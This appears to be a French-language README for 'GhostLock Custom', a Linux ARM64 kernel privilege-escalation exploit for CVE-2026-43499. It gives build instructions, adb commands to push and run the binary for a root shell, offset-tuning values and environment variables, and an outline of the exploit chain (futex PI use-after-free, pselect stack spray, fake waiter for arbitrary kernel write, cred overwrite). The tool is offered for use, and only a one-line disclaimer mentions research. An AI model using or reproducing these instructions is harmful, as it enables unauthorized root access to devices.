GhostLock Custom — Version adaptée pour CVE-2026-43499

Exploit d'élévation de privilèges GhostLock (CVE-2026-43499) pour noyaux Linux 6.x ARM64 non Android.

Caractéristiques du noyau

Paramètre	Valeur
Architecture	ARM64 (AArch64)
VA_BITS	39
KIMAGE_TEXT_BASE	0xffffffc008000000
Version du noyau	6.x
SELinux	Aucun
ashmem	Aucun
configfs	Aucun

Compilation

Compilation locale (nécessite un compilateur croisé)

make

Compilation avec Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (compilation cloud)

Après un push, la compilation est déclenchée automatiquement ; téléchargez simplement l'artefact.

Utilisation

# Pousser vers l'appareil cible
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# Obtenir un shell root
adb shell /data/local/tmp/e --shell

# Ajuster le décalage pselect (si la valeur par défaut ne fonctionne pas)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# Spécifier l'adresse de chargement physique
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Variables d'environnement

Variable	Valeur par défaut	Description
PSELECT_SHIFT	-2	Ajustement du décalage du waiter pselect sur la pile
KPHYS	0x80000000	Adresse de chargement physique du noyau
KIMAGE_TEXT_BASE	0xffffffc008000000	Adresse virtuelle de base du noyau

Principe de l'élévation de privilèges

1. Course futex PI : FUTEX_CMP_REQUEUE_PI déclenche l'UAF de remove_waiter()
2. Débordement de pile pselect : le rt_mutex_waiter libéré atterrit dans le tampon stack_fds
3. Écriture dans l'arbre PI : écriture arbitraire en mémoire noyau via un faux waiter (fake waiter) construit
4. Écrasement de cred : écrase task_struct->cred avec init_cred

Notes d'adaptation

Cette version est une version allégée de ghostlock-oneplus :

• Suppression du code de désactivation de SELinux (ce noyau n'a pas de SELinux)
• Suppression du code lié à ashmem/configfs (ce noyau ne dispose pas de ces composants)
• Suppression du code d'installation de KernelSU
• Suppression de la fuite SLIDE KASLR (pas de loggers/nfulnl_logger)
• Suppression du code spécifique à Android (miniADB, etc.)

Dépannage

Symptôme	Cause possible	Solution
L'appareil redémarre	PSELECT_SHIFT incorrect	Essayez de -4 à +4 un par un
Aucun effet	KPHYS incorrect	Vérifiez la valeur correcte dans /proc/iomem
perf_event_open failed	Restriction seccomp	Essayez d'exécuter via ADB shell
Pas de root	Décalage non correspondant	Vérifiez la version du noyau, contrôlez TASK_CRED_OFF

Avertissement

Cet outil est réservé à la recherche en sécurité. L'utilisateur assume l'entière responsabilité.